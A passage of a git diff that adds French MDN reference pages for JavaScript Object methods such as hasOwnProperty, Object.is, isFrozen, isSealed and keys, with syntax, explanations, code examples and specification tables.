+
Le nom ({{jsxref("String")}}) ou le symbole ({{jsxref("Symbol")}}) de la propriété à tester.
+
+ +

Valeur de retour

+ +

Un booléen qui indique si l'objet possède ou non la propriété indiquée en argument et que celle-ci est directement rattachée à l'objet (elle ne provient pas de la chaîne de prototypes de l'objet). hasOwnProperty() renvoie true si la propriété existe et que sa valeur est {{jsxref("null")}} ou {{jsxref("undefined")}}.

+ +

Description

+ +

Chaque objet descendant d'{{jsxref("Object")}} hérite de la méthode hasOwnProperty(). Cette méthode peut être utilisée pour déterminer si un objet a la propriété spécifiée en tant que propriété directe de cet objet. Contrairement à l'opérateur {{jsxref("Opérateurs/L_opérateur_in", "in")}}, cette méthode ne vérifie pas la chaîne des prototypes de l'objet. Si l'objet est un tableau ({{jsxref("Array")}}), la méthode hasOwnProperty() pourra être utilisée afin de vérifier la présence d'un index.

+ +

Exemples

+ +

Utiliser hasOwnProperty() pour tester l'existence d'une propriété

+ +

L'exemple suivant détermine si l'objet o contient une propriété appelée prop:

+ +
o = new Object();
+o.hasOwnProperty('prop'); // false
+o.prop = 'exists';
+o.hasOwnProperty('prop'); // true
+ +

Propriétés directes et propriétés héritées

+ +

L'exemple suivant illustre la différence entre les propriétés directes et les propriétés héritées à partir de la chaîne de prototypes :

+ +
o = new Object();
+o.prop = 'exists';
+
+o.hasOwnProperty('prop');
+// retourne true
+
+o.hasOwnProperty('toString');
+// retourne false
+
+o.hasOwnProperty('hasOwnProperty');
+// retourne false
+ +

Parcourir les propriétés d'un objet

+ +

L'exemple suivant montre comment parcourir les propriétés d'un objet sans traiter les propriétés héritées. On notera que la boucle  {{jsxref("Instructions/for...in", "for...in")}} ne prend en compte que les éléments énumérables. Il ne faut donc pas déduire de l'absence de propriétés non-énumérables dans la boucle, que hasOwnProperty() est elle-même strictement restreinte aux éléments énumérables (comme c'est le cas pour {{jsxref("Object.getOwnPropertyNames()")}}) .

+ +
var bidule = {
+    truc: 'stack'
+};
+
+for (var nom in bidule) {
+    if (bidule.hasOwnProperty(nom)) {
+        console.log("C'est bien la propriété (" +
+                     nom +
+                     "), sa valeur : " + bidule[nom]
+                    );
+    }
+    else {
+        console.log(nom);
+        // toString ou autre
+    }
+}
+ +

hasOwnProperty() en tant que propriété

+ +

JavaScript ne protège pas le nom de propriété hasOwnProperty, ainsi il est possible qu'un objet puisse avoir une propriété avec ce nom, il sera donc nécessaire d'utiliser une version externe de la méthode pour obtenir des résultats corrects.

+ +
var toto = {
+  hasOwnProperty: function() {
+    return false;
+  },
+  truc: 'Voici les dragons'
+};
+
+toto.hasOwnProperty('truc'); // renvoie toujours false
+
+// On utilise une méthode d'un autre objet
+// et on l'appelle avec this qui vaut toto
+({}).hasOwnProperty.call(toto, 'truc'); // true
+
+// On peut aussi utiliser la propriété hasOwnProperty de Object prototype
+Object.prototype.hasOwnProperty.call(toto, 'truc'); // true
+
+ +

La dernière version utilisée permet de ne pas créer d'objet supplémentaire.

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale. Implémentée avec JavaScript 1.5.
{{SpecName('ES5.1', '#sec-15.2.4.5', 'Object.prototype.hasOwnProperty')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-object.prototype.hasownproperty', 'Object.prototype.hasOwnProperty')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-object.prototype.hasownproperty', 'Object.prototype.hasOwnProperty')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Object.hasOwnProperty")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/global_objects/object/index.html b/files/fr/web/javascript/reference/global_objects/object/index.html new file mode 100644 index 0000000000..bc750b5652 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/object/index.html @@ -0,0 +1,184 @@ +--- +title: Object +slug: Web/JavaScript/Reference/Objets_globaux/Object +tags: + - Constructeur + - JavaScript + - Object + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Object +--- +
{{JSRef}}
+ +

Le constructeur Object crée un wrapper d'objet.

+ +

Syntaxe

+ +
// Initialisateur d'objet ou littéral { [ paireNomValeur1[, paireNomValeur2[,
+ ...paireNomValeurN] ] ] }
+
+// Appelé comme un constructeur
+new Object([valeur])
+ +

Paramètres

+ +
+
paireNomValeur1, paireNomValeur2, ... paireNomValeurN
+
Paires de noms (chaînes) et de valeurs (toutes valeurs) où le nom est séparé de la valeur par deux points (:).
+
valeur
+
Toute valeur.
+
+ +

Description

+ +

Le constructeur Object crée un wrapper d'objet pour la valeur donnée. Si la valeur est {{jsxref("null")}} ou {{jsxref("undefined")}}, il créera et retournera un objet vide, sinon, il retournera un objet du Type qui correspond à la valeur donnée. Si la valeur est déjà un objet, le constructeur retournera cette valeur.

+ +

Lorsqu'il n'est pas appelé dans un contexte constructeur, Object se comporte de façon identique à new Object().

+ +

Voir aussi initialisateur d'objet / syntaxe de littéral.

+ +

Propriétés du constructeur Object

+ +
+
Object.length
+
A une valeur de 1.
+
{{jsxref("Object.prototype")}}
+
Permet l'ajout de propriétés à tous les objets de type Object.
+
+ +

Méthodes du constructeur Object

+ +
+
{{jsxref("Object.assign()")}}
+
Copie les valeurs de toutes propriétés propres énumérables depuis un ou plusieurs objets source dans un objet cible.
+
{{jsxref("Object.create()")}}
+
Crée un nouvel objet avec le prototype d'objet et les propriétés indiqués.
+
{{jsxref("Object.defineProperty()")}}
+
Ajoute à un objet la propriété nommée décrite par le descripteur donné.
+
{{jsxref("Object.defineProperties()")}}
+
Ajoute à un objet les propriétés nommées décrites par les descripteurs donnés.
+
{{jsxref("Object.entries()")}}
+
Retourne un tableau contenant les paires [clé, valeur] des propriétés énumérables propres (c'est-à-dire directement rattachées à l'objet) de l'objet donné et dont les clés sont des chaînes de caractères.
+
{{jsxref("Object.freeze()")}}
+
Gèle un objet : un autre code ne peut ni détruire ni changer aucune propriété.
+
{{jsxref("Object.fromEntries()")}}
+
Renvoie un nouvel objet à partir d'un itérable contenant des paires de clés-valeurs (l'opération duale de {{jsxref("Object.entries")}}).
+
{{jsxref("Object.getOwnPropertyDescriptor()")}}
+
Retourne un descripteur de propriété pour une propriété nommée d'un objet.
+
{{jsxref("Object.getOwnPropertyDescriptors()")}}
+
Retourne un objet contenant tous les descripteurs des propriétés propres d'un objet.
+
{{jsxref("Object.getOwnPropertyNames()")}}
+
Retourne un tableau contenant les noms de toutes les propriétés énumérables et non énumérables propres de l'objet donné.
+
{{jsxref("Object.getOwnPropertySymbols()")}}
+
Retourne un tableau de toutes les propriétés symboles trouvées directement dans un objet donné.
+
{{jsxref("Object.getPrototypeOf()")}}
+
Retourne le prototype de l'objet indiqué.
+
{{jsxref("Object.is()")}}
+
Détermine si deux valeurs sont la même valeur. Considère comme égales toutes les valeurs NaN (ce qui diffère à la fois de la Comparaison d'Égalité Abstraite et de la Comparaison d'Égalité Stricte).
+
{{jsxref("Object.isExtensible()")}}
+
Détermine si l'extension d'un objet est permise.
+
{{jsxref("Object.isFrozen()")}}
+
Détermine si un objet a été gelé.
+
{{jsxref("Object.isSealed()")}}
+
Détermine si un objet est scellé.
+
{{jsxref("Object.keys()")}}
+
Retourne un tableau contenant les noms de toutes les propriétés énumérables propres de l'objet donné.
+
{{jsxref("Object.preventExtensions()")}}
+
Empêche toute extension de l'objet.
+
{{jsxref("Object.seal()")}}
+
Empêche un autre code de détruire les propriétés d'un objet.
+
{{jsxref("Object.setPrototypeOf()")}}
+
Définit le prototype d'un objet (c-à-d, la propriété interne [[Prototype]]).
+
{{jsxref("Object.values()")}}
+
Retourne le tableau des valeurs énumérables propres de l'objet donné dont les clés sont des chaînes de caractères.
+
+ +

Instances d'Object et objet de prototype Object

+ +

Tous les objets en JavaScript descendent d'Object ; tous les objets héritent des méthodes et des propriétés de {{jsxref("Object.prototype")}}, même si elles peuvent être surchargées. Par exemple, d'autres prototypes de constructeurs surchargent la propriété du constructor et fournissent leurs propres méthodes toString(). Les changements apportés à l'objet de prototype Object sont propagées à tous les objets, à moins que les propriétés et méthodes auxquelles s'appliquent ces changements ne soient surchargées plus loin dans la chaîne de prototypes.

+ +

Propriétés

+ +
{{page('/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/prototype', 'Properties') }}
+ +

Méthodes

+ +
{{page('/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/prototype', 'Methods') }}
+ +

Suppression d'une propriété dans un objet

+ +

Il n'y a aucune méthode dans un Object lui-même pour supprimer ses propres propriétés (par exemple, comme Map.prototype.delete()). Pour ce faire, il faut utiliser l'opérateur delete.

+ +

Exemples

+ +

Utilisation d'Object avec les types undefined et null

+ +

Les exemples suivants stockent un Object vide dans o :

+ +
var o = new Object();
+
+ +
var o = new Object(undefined);
+
+ +
var o = new Object(null);
+
+ +

Utilisation d'Object pour créer des objets Boolean

+ +

Les exemples suivants stockent des objets {{jsxref("Boolean")}} dans o :

+ +
// Équivalent à : o = new Boolean(true);
+var o = new Object(true);
+
+ +
// Équivalent à : o = new Boolean(false);
+var o = new Object(Boolean());
+
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaire
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée par JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.2', 'Object')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-object-objects', 'Object')}}{{Spec2('ES6')}}Ajout de Object.assign, Object.getOwnPropertySymbols, Object.setPrototypeOf, Object.is
{{SpecName('ESDraft', '#sec-object-objects', 'Object')}}{{Spec2('ESDraft')}}Ajout de Object.entries, de Object.values et de Object.getOwnPropertyDescriptors.
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.Object")}}

+
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/global_objects/object/is/index.html b/files/fr/web/javascript/reference/global_objects/object/is/index.html new file mode 100644 index 0000000000..6e909d1fdb --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/object/is/index.html @@ -0,0 +1,130 @@ +--- +title: Object.is() +slug: Web/JavaScript/Reference/Objets_globaux/Object/is +tags: + - ECMAScript 2015 + - JavaScript + - Méthode + - Object + - Reference + - polyfill +translation_of: Web/JavaScript/Reference/Global_Objects/Object/is +--- +
{{JSRef}}
+ +

La méthode Object.is() permet de déterminer si deux valeurs sont les mêmes.

+ +

Syntaxe

+ +
Object.is(value1, value2);
+ +

Paramètres

+ +
+
valeur1
+
La première valeur à comparer.
+
valeur2
+
La seconde valeur à comparer.
+
+ +

Valeur de retour

+ +

Un booléen indiquant si les arguments ont la même valeur.

+ +

Description

+ +

Object.is() permet de déterminer si deux valeurs sont identiques. Deux valeurs sont considérées identiques si :

+ +
    +
  • elles sont toutes les deux {{jsxref("undefined")}}
    • +
  • elles sont toutes les deux {{jsxref("null")}}
    • +
  • elles sont toutes les deux true ou toutes les deux false
    • +
  • elles sont des chaînes de caractères de la même longueur et avec les mêmes caractères (dans le même ordre)
    • +
  • elles sont toutes les deux le même objet
    • +
  • elles sont des nombres et +
      +
    • sont toutes les deux égales à +0
      • +
    • sont toutes les deux égales à -0
      • +
    • sont toutes les deux égales à {{jsxref("NaN")}}
      • +
    • sont non-nulles, ne sont pas NaN et ont toutes les deux la même valeur
      • +
    +
    • +
+ +

Attention, ce n'est pas la même égalité qu'avec l'opérateur {{jsxref("Opérateurs/Opérateurs_de_comparaison", "==", "#.C3.89galit.C3.A9_simple_(.3D.3D)")}}. L'opérateur == applique différentes conversions à chaque opérande (si ils ne sont pas du même type) avant de tester l'égalité (d'où le comportement "" == false qui donne true), Object.is ne convertit aucune des deux valeurs.

+ +

Cette égalité est également différente de l'égalité stricte qu'on peut avoir avec l'opérateur {{jsxref("Opérateurs/Opérateurs_de_comparaison", "===", "#.C3.89galit.C3.A9_stricte_(.3D.3D.3D)")}}. L'opérateur === (et également l'opérateur ==) considère que -0 et +0 sont égales et que {{jsxref("Number.NaN")}} n'est pas égal à {{jsxref("NaN")}}.

+ +

Exemples

+ +
Object.is("toto", "toto");     // true
+Object.is(window, window);     // true
+
+Object.is("toto", "truc");     // false
+Object.is([], []);             // false
+
+var toto = {a: 1};
+var truc = {a: 1};
+Object.is(toto, toto);          // true
+Object.is(toto, truc);          // false
+
+Object.is(null, null);          // true
+
+// Cas aux limites (cas spéciaux)
+Object.is(0, -0);                // false
+Object.is(-0, -0);               // true
+Object.is(NaN, 0/0);             // true
+ +

Prothèse d'émulation (polyfill)

+ +
if (!Object.is) {
+  Object.is = function(v1, v2) {
+    // Algorithme SameValue
+    if (v1 === v2) { //Étapes 1-5, 7-10
+      //Étapes 6.b-6.b +0 !=-0
+      return v1 !== 0 || 1 / v1 === 1 / v2;
+    } else {
+      //Étapes 6.a: NaN == NaN
+      return v1 !== v1 && v2 !== v2;
+    }
+  };
+}
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-object.is', 'Object.is')}}{{Spec2('ES2015')}}Définition initiale
{{SpecName('ESDraft', '#sec-object.is', 'Object.is')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.Object.is")}}

+
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/global_objects/object/isextensible/index.html b/files/fr/web/javascript/reference/global_objects/object/isextensible/index.html new file mode 100644 index 0000000000..ae82dd912f --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/object/isextensible/index.html @@ -0,0 +1,114 @@ +--- +title: Object.isExtensible() +slug: Web/JavaScript/Reference/Objets_globaux/Object/isExtensible +tags: + - ECMAScript 5 + - JavaScript + - JavaScript 1.8.5 + - Méthode + - Object + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Object/isExtensible +--- +
{{JSRef}}
+ +

La méthode Object.isExtensible() permet de déterminer si un objet est extensible (c'est-à-dire qu'on peut lui ajouter de nouvelles propriétés).

+ +
{{EmbedInteractiveExample("pages/js/object-isextensible.html")}}
+ + + +

Syntaxe

+ +
Object.isExtensible(obj)
+ +

Paramètres

+ +
+
obj
+
L'objet dont on souhaite vérifier s'il est extensible.
+
+ +

Valeur de retour

+ +

Un booléen qui indique si oui ou non l'objet passé en argument peut être étendu.

+ +

Description

+ +

Par défaut, les objets sont extensibles, on peut leur ajouter de nouvelles propriétés (et pour les moteurs qui supportent {{jsxref("Object.proto", "__proto__")}} {{deprecated_inline}}, leur propriété __proto__ peut être modifiée). Un objet peut devenir non-extensible en utilisant les méthodes {{jsxref("Object.preventExtensions()")}}, {{jsxref("Object.seal()")}}, ou {{jsxref("Object.freeze()")}}.

+ +

Exemples

+ +
// Les nouveaux objets sont extensibles.
+var vide = {};
+Object.isExtensible(vide); // true
+
+// ...mais on peut les rendre non-extensibles.
+Object.preventExtensions(vide);
+Object.isExtensible(vide); // false
+
+// Les objets scellés sont, par définition, non-extensibles.
+var scellé = Object.seal({});
+Object.isExtensible(scellé); // false
+
+// Les objets gelés sont également, par définition, non-extensibles.
+var gelé = Object.freeze({});
+Object.isExtensible(gelé); // false
+
+ +

Notes

+ +

Pour ES5, si l'argument passé à la méthode n'est pas un objet mais une valeur d'un autre type primitif, cela entraînera une exception {{jsxref("TypeError")}}. Pour ES2015, un argument qui n'est pas un objet sera traité comme un objet ordinaire non-extensible, la méthode renverra false.

+ +
Object.isExtensible(1);
+// TypeError: 1 n'est pas un objet (code ES5)
+
+Object.isExtensible(1);
+// false                           (code ES2015)
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES5.1', '#sec-15.2.3.13', 'Object.isExtensible')}}{{Spec2('ES5.1')}}Définition initiale. Implémentée avec JavaScript 1.8.5.
{{SpecName('ES6', '#sec-object.isextensible', 'Object.isExtensible')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-object.isextensible', 'Object.isExtensible')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.Object.isExtensible")}}

+
+ +

Voir aussi

+ +
    +
  • {{jsxref("Object.preventExtensions()")}}
    • +
  • {{jsxref("Object.seal()")}}
    • +
  • {{jsxref("Object.isSealed()")}}
    • +
  • {{jsxref("Object.freeze()")}}
    • +
  • {{jsxref("Object.isFrozen()")}}
    • +
  • {{jsxref("Reflect.isExtensible()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/object/isfrozen/index.html b/files/fr/web/javascript/reference/global_objects/object/isfrozen/index.html new file mode 100644 index 0000000000..ceb8c242ef --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/object/isfrozen/index.html @@ -0,0 +1,177 @@ +--- +title: Object.isFrozen() +slug: Web/JavaScript/Reference/Objets_globaux/Object/isFrozen +tags: + - ECMAScript 5 + - JavaScript + - JavaScript 1.8.5 + - Méthode + - Object + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Object/isFrozen +--- +
{{JSRef}}
+ +

La méthode Object.isFrozen()permet de déterminer si un objet est {{jsxref("Object.freeze()", "gelé", "", 1)}}.

+ +
{{EmbedInteractiveExample("pages/js/object-isfrozen.html")}}
+ + + +

Syntaxe

+ +
Object.isFrozen(obj)
+ +

Paramètres

+ +
+
obj
+
L'objet dont on souhaite vérifier s'il est gelé.
+
+ +

Valeur de retour

+ +

Un booléen qui indique si oui ou non l'objet passé en argument est gelé.

+ +

Description

+ +

Un objet est gelé si et seulement s'il n'est pas {{jsxref("Object.isExtensible", "extensible","",1)}}, que toutes ses propriétés sont non-configurables et que ses propriétés de données (c'est-à-dire les propriétés qui ne sont pas des accesseurs ou des mutateurs) sont non-accessibles en écriture.

+ +

Exemples

+ +
// Un objet nouvellement créé est extensible
+// et est donc dégelé
+Object.isFrozen({}); // false
+
+// Un objet vide et non extensible est gelé
+var videGelé = Object.preventExtensions({});
+Object.isFrozen(videGelé); // true
+
+// Un nouvel objet avec une propriété est
+// extensible et donc dégelé
+var uneProp = { p: 42 };
+Object.isFrozen(uneProp); // false
+
+// Si on empêche d'étendre un objet non vide,
+// cela ne le rend pas gelé car la propriété
+// est toujours configurable (et accessible
+// en écriture)
+Object.preventExtensions(uneProp);
+Object.isFrozen(uneProp); // false
+
+// ...si on supprime la seule propriété existante
+// en revanche, on a bien un objet gelé
+delete uneProp.p;
+Object.isFrozen(uneProp); // true
+
+// Un objet non-extensible et avec une propriété
+// non-accessible en écriture mais toujours configurable
+// n'est pas gelé
+var nonWritable = { e: "plep" };
+Object.preventExtensions(nonWritable);
+
+Object.defineProperty(nonWritable, "e", { writable: false });
+// on la rend non accessible en écriture
+
+Object.isFrozen(nonWritable); // false
+
+// Si on rend la propriété non-configurable,
+// l'objet devient gelé
+
+Object.defineProperty(nonWritable, "e", { configurable: false });
+// on la rend non-configurable
+
+Object.isFrozen(nonWritable) === true);
+
+// Un objet non-extensible avec une propriété non-configurable
+// mais accessible en écriture n'est pas gelé
+var nonConfigurable = { release: "the kraken!" };
+Object.preventExtensions(nonConfigurable);
+Object.defineProperty(nonConfigurable, "release", { configurable: false });
+Object.isFrozen(nonConfigurable); // false
+
+// Si cette propriété devient non accessible
+// en écriture, l'objet est gelé
+Object.defineProperty(nonConfigurable, "release", { writable: false });
+Object.isFrozen(nonConfigurable); // true
+
+// Un objet non-extensible avec un accesseur
+// configurable n'est pas gelé
+var accesseur = { get manger() { return "miam"; } };
+Object.preventExtensions(accesseur);
+Object.isFrozen(accesseur); // false
+
+// ...si on rend la propriété non-configurable,
+// l'objet est gelé.
+Object.defineProperty(accesseur, "manger", { configurable: false });
+Object.isFrozen(accesseur); // true
+
+// La façon la plus simple est d'utiliser la
+// méthode Object.freeze
+var gelé = { 1: 81 };
+Object.isFrozen(gelé); // false
+Object.freeze(gelé);
+Object.isFrozen(gelé); // true
+
+// Par définition, un objet gelé est non-extensible.
+Object.isExtensible(gelé); // false
+
+// Par définition, un objet gelé est scellé.
+Object.isSealed(gelé); // true
+
+ +

Notes

+ +

Pour ES5, si l'argument passé à la méthode n'est pas un objet (mais est d'un autre type primitif), cela entraînera une exception {{jsxref("TypeError")}}. Pour ES2015, un argument qui n'est pas un objet sera traité comme s'il était un objet gelé et la méthode renverra true.

+ +
Object.isFrozen(1);
+// TypeError: 1 n'est pas un objet (code ES5)
+
+Object.isFrozen(1);
+// true                            (code ES2015)
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES5.1', '#sec-15.2.3.12', 'Object.isFrozen')}}{{Spec2('ES5.1')}}Définition initiale. Implémentée par JavaScript 1.8.5.
{{SpecName('ES6', '#sec-object.isfrozen', 'Object.isFrozen')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-object.isfrozen', 'Object.isFrozen')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.Object.isFrozen")}}

+
+ +

Voir aussi

+ +
    +
  • {{jsxref("Object.freeze()")}}
    • +
  • {{jsxref("Object.preventExtensions()")}}
    • +
  • {{jsxref("Object.isExtensible()")}}
    • +
  • {{jsxref("Object.seal()")}}
    • +
  • {{jsxref("Object.isSealed()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/object/isprototypeof/index.html b/files/fr/web/javascript/reference/global_objects/object/isprototypeof/index.html new file mode 100644 index 0000000000..2777d794c2 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/object/isprototypeof/index.html @@ -0,0 +1,126 @@ +--- +title: Object.prototype.isPrototypeOf() +slug: Web/JavaScript/Reference/Objets_globaux/Object/isPrototypeOf +tags: + - JavaScript + - Méthode + - Object + - Prototype + - Reference + - isPrototype +translation_of: Web/JavaScript/Reference/Global_Objects/Object/isPrototypeOf +--- +
{{JSRef}}
+ +

La méthode isPrototypeOf() permet de tester si un objet existe dans la chaîne de prototypes d'un autre objet.

+ +
{{EmbedInteractiveExample("pages/js/object-prototype-isprototypeof.html")}}
+ + + +
+

Note : isPrototypeOf() est différent de l'opérateur {{jsxref("Opérateurs/instanceof", "instanceof")}}. Dans l'expression "object instanceof AFunction", on compare la chaîne de prototypes d'object avec AFunction.prototype et non avec AFunction.

+
+ +

Syntaxe

+ +
prototypeObj.isPrototypeOf(objet)
+ +

Paramètres

+ +
+
objet
+
L'objet dont la chaîne de prototypes sera parcourue.
+
+ +

Valeur de retour

+ +

Un {{jsxref("Boolean")}} indiquant si l'objet appelant se trouve dans sa chaîne de prototypes de l'objet indiqué.

+ +

Erreurs déclenchées

+ +
+
{{jsxref("TypeError")}}
+
Une exception {{jsxref("TypeError")}} est déclenchée si prototypeObj est undefined ou null.
+
+ +

Description

+ +

La méthode isPrototypeOf () vous permet de vérifier si un objet existe ou non dans la chaîne de prototypes d'un autre objet.

+ +

Exemples

+ +

Cet exemple montre que Bidule.prototype, Truc.prototype, Machin.prototype et Object.prototype font bien partie de la chaîne de prototype pour l'objet bidule :

+ +
function Machin() {}
+function Truc() {}
+function Bidule() {}
+
+Truc.prototype = Object.create(Machin.prototype);
+Bidule.prototype = Object.create(Truc.prototype);
+
+var bidule = new Bidule();
+
+console.log(Bidule.prototype.isPrototypeOf(bidule)); // true
+console.log(Truc.prototype.isPrototypeOf(bidule)); // true
+console.log(Machin.prototype.isPrototypeOf(bidule)); // true
+console.log(Object.prototype.isPrototypeOf(bidule)); // true
+
+ +

La méthode isPrototypeOf(), avec l'opérateur {{jsxref("Operators/instanceof", "instanceof")}} en particulier, s'avère particulièrement utile si vous avez du code qui ne peut fonctionner que lorsqu'il traite des objets descendant d'une chaîne de prototypes donnée, par ex., pour garantir que certaines méthodes ou propriétés seront présentes dans cet objet.

+ +

Par exemple, vérifier que bidule descend bien de Machin.prototype :

+ +
if (Toto.prototype.isPrototypeOf(bidule)) {
+  // effectuer quelque chose de sûr
+}
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaire
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale.
{{SpecName('ES5.1', '#sec-15.2.4.5', 'Object.prototype.hasOwnProperty')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-object.prototype.hasownproperty', 'Object.prototype.hasOwnProperty')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-object.prototype.hasownproperty', 'Object.prototype.hasOwnProperty')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.Object.isPrototypeOf")}}

+
+ +

Voir aussi

+ +
    +
  • {{jsxref("Opérateurs/instanceof", "instanceof")}}
    • +
  • {{jsxref("Object.getPrototypeOf()")}}
    • +
  • {{jsxref("Object.setPrototypeOf()")}}
    • +
  • {{jsxref("Object.prototype.proto","Object.prototype.__proto__")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/object/issealed/index.html b/files/fr/web/javascript/reference/global_objects/object/issealed/index.html new file mode 100644 index 0000000000..750efbf49f --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/object/issealed/index.html @@ -0,0 +1,137 @@ +--- +title: Object.isSealed() +slug: Web/JavaScript/Reference/Objets_globaux/Object/isSealed +tags: + - ECMAScript 5 + - JavaScript + - JavaScript 1.8.5 + - Méthode + - Object + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Object/isSealed +--- +
{{JSRef}}
+ +

La méthode Object.isSealed() permet de déterminer si un objet est scellé.

+ +
{{EmbedInteractiveExample("pages/js/object-issealed.html")}}
+ + + +

Syntaxe

+ +
Object.isSealed(obj)
+ +

Paramètres

+ +
+
obj
+
L'objet dont on souhaite savoir s'il est scellé.
+
+ +

Valeur de retour

+ +

Un booléen indiquant si l'objet est scellé ou non.

+ +

Description

+ +

Renvoie true si l'objet est scellé, false sinon. Un objet scellé est un objet qui n'est pas {{jsxref("Object.isExtensible", "extensible","",1)}} et dont toutes les propriétés sont non-configurables (on ne peut donc pas les retirer, en revanche on peut avoir un droit de modification).

+ +

Exemples

+ +
// Par défaut, les objets ne sont pas scellés
+var vide = {};
+Object.isSealed(vide); // false
+
+// Si un objet vide est rendu non-extensible,
+// il est scellé
+Object.preventExtensions(vide);
+Object.isSealed(vide); // true
+
+// Ce qui n'est pas vrai pour un objet non-vide,
+// sauf si toutes ses propriétés sont non-configurables
+var avecPropriétés = { pif: "paf pouf" };
+Object.preventExtensions(avecPropriétés);
+Object.isSealed(avecPropriétés); // false
+
+// Si on rend les propriétés non configurables,
+// l'objet est scellé
+Object.defineProperty(avecPropriétés, "pif", { configurable: false });
+Object.isSealed(avecPropriétés); // true
+
+// La méthode la plus simple est d'utiliser Object.seal.
+var scellé = {};
+Object.seal(scellé);
+Object.isSealed(scellé); // true
+
+// Un objet scellé est, par définition, non-extensible
+Object.isExtensible(scellé); // false
+
+// Un objet scellé peut être gelé mais ce n'est pas
+// nécessaire. gelé signifie que les propriétés ne
+// peuvent pas être modifiées
+Object.isFrozen(scellé); // true
+
+var s2 = Object.seal({ p: 3 });
+Object.isFrozen(s2); // false ("p" est toujours modifiable)
+
+var s3 = Object.seal({ get p() { return 0; } });
+// pour les accesseurs, seule l'accès en
+// configuration est important
+Object.isFrozen(s3); // true
+ +

Notes

+ +

Pour ES5, si l'argument passé à la méthode n'est pas un objet mais une valeur d'un autre type primitif, cela entraînera une exception {{jsxref("TypeError")}}. Pour ES2015, une valeur qui n'est pas un objet sera traitée comme si c'était un objet scellé et la méthode renverra true.

+ +
Object.isSealed(1);
+// TypeError: 1 is not an object (ES5 code)
+
+Object.isSealed(1);
+// true                          (ES2015 code)
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES5.1', '#sec-15.2.3.11', 'Object.isSealed')}}{{Spec2('ES5.1')}}Définition initiale. Implémentée avec JavaScript 1.8.5.
{{SpecName('ES6', '#sec-object.issealed', 'Object.isSealed')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-object.issealed', 'Object.isSealed')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.Object.isSealed")}}

+
+ +

Voir aussi

+ +
    +
  • {{jsxref("Object.seal()")}}
    • +
  • {{jsxref("Object.preventExtensions()")}}
    • +
  • {{jsxref("Object.isExtensible()")}}
    • +
  • {{jsxref("Object.freeze()")}}
    • +
  • {{jsxref("Object.isFrozen()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/object/keys/index.html b/files/fr/web/javascript/reference/global_objects/object/keys/index.html new file mode 100644 index 0000000000..4cd9891d66 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/object/keys/index.html @@ -0,0 +1,129 @@ +--- +title: Object.keys() +slug: Web/JavaScript/Reference/Objets_globaux/Object/keys +tags: + - ECMAScript 5 + - JavaScript + - JavaScript 1.8.5 + - Méthode + - Object + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Object/keys +--- +
{{JSRef}}
+ +

La méthode Object.keys() renvoie un tableau contenant les noms des propriétés propres à un objet (qui ne sont pas héritées via la chaîne de prototypes) et qui sont énumérables. L'ordre de ce tableau est le même que celui obtenu par une boucle {{jsxref("Instructions/for...in","for...in")}} (à la différence qu'une boucle for-in liste également les propriétés héritées).

+ +
{{EmbedInteractiveExample("pages/js/object-keys.html")}}
+ + + +

Syntaxe

+ +
Object.keys(obj)
+ +

Paramètres

+ +
+
obj
+
